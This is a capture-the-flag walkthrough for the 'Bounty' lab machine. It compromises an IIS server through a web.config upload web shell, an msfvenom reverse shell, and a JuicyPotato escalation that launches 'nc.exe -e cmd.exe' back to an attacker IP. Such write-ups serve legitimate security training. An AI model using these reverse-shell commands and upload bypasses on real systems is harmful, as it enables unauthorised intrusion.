# Bounty
## Nmap
```
sudo nmap 10.10.10.93 -p- -sS -sV
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```
### Web Server
Browsing to the hosted web server we are greeted with an image of a wizard.
### Directory Brute Forcing
As there is nothing else to obtain from this page, even after checking the page source we can move on to directory brute forcing with `feroxbuster`.
Using the large files word list from `seclists` we discover the existence of `transfer.aspx`.
```
feroxbuster -u http://10.10.10.93 -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
```
Browsing to the `transfer.aspx` page we are given a opportunity to select a file for upload.
### File Upload - Web Shell
Going straight in and attempting to upload an `.aspx` reverse shell we see through `Burpsuite` that we are given an error due to an invalid file.
In order to discover allowed file types I sent the request to Intruder and fuzzed the `.aspx` extension with a list of most common extensions.
Once completed sorting the results by length we see that responses with a length of 1350 indicate file upload was successful.
Most interesting from the results is the `.config` file extension. This can be used against IIS servers for gaining web shells and reverse shells under the right circumstances.
The blog post linked below covers various ways of exploiting this:
**URL:**
We are going to use a web shell as shown below. Save the contents in a file called `web.config`.
**Web.config Web Shell:**
```xml
```
After saving the contents upload the web.config file to the target system. After uploading we see through the response in `Burpsuite` that the file upload was successful.
After uploading the file we still need to discover where to access it from. Using `feroxbuster` again with a different directory word list we soon discover the directory `/UploadedFiles/`.
Using Burpsuite we sent a GET request to [`http://10.10.10.93/UploadedFiles/web.config?cmd=whoami`](http://10.10.10.93/UploadedFiles/web.config?cmd=whoami). Where we have append the command we wish to run.
Looking at the response, we see we are executing commands in the context of the user merlin.
### A Better Shell
We can now use the web shell to gain a proper shell.
# Set up SMB server on attacking system
smbserver.py -smb2support Share ~/bounty
# Create reverse shell in same directory
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f exe -o reverse.exe
After setting up as per the above commands use the web shell to execute the `msfvenom` payload.
Where out `netcat` listener should catch the shell.
### User Flag
Moving into merlin's Desktop directory we notice initially that it is empty. Running the command `dir /a` shows reveals hidden files, where we can now grab the `user.txt` flag.
### Privilege Escalation
Moving onto privilege escalation we perform the basics by checking our current user privileges with `whoami /priv`.
With the privilege `SeImpersonatePrivilege` we may be able to perform a [JuicyPotato](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato) attack to escalate privileges depending on the operating system version.
In order to identify the correct CLSID to use we can either painstakingly guess or we can use a batch script to test for each possibility.
Download the files below:
**Windows Server 2008 R2 Datacenter CLSID:**
**test\_clsid.bat:**
**JuicyPotato.exe:**
Place them in the specified folder for the SMB server we set up earlier and then on the target system copy them over.
```
copy \\10.10.14.6\Share\test_clsid.bat test_clsid.bat
copy \\10.10.14.6\Share\CLSID.list CLSID.list
copy \\10.10.14.6\Share\JuicyPotato.exe JuicyPotato.exe
```
Once downloaded run the batch file.
```
test_clsid.bat
```
This will test all possible CLSID's for Windows Server 2008.
Once completed we can check the result.log file for CLSID's which will work. From here make a note of any that are running under SYSTEM.
To stage that attack we also need a copy of `nc.exe` on the target system. Again, place the file on our `SMB` share and copy the binary over.
Copy over `nc.exe`.
```
copy \\10.10.14.6\Share\nc.exe nc.exe
```
From here build the attack to call back to a listening ports on the attacking system.
```
juicypotato.exe -l 1234 -p nc.exe -a " -nv 10.10.14.6 4455 -e cmd.exe" -t * -c {659cdea7-489e-11d9-a9cd-000d56965251}
```
* -l : Create a listening port
* -p: Program to launch
* -a: use the following arguments
* -t: createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <\*> try both
* -c: {CLSID}
After running the command we should be given confirmation as shown below:
As well as receiving a **SYSTEM** shell on our listener.
### Root Flag
From here we are able to retrieve the `root.txt` flag.
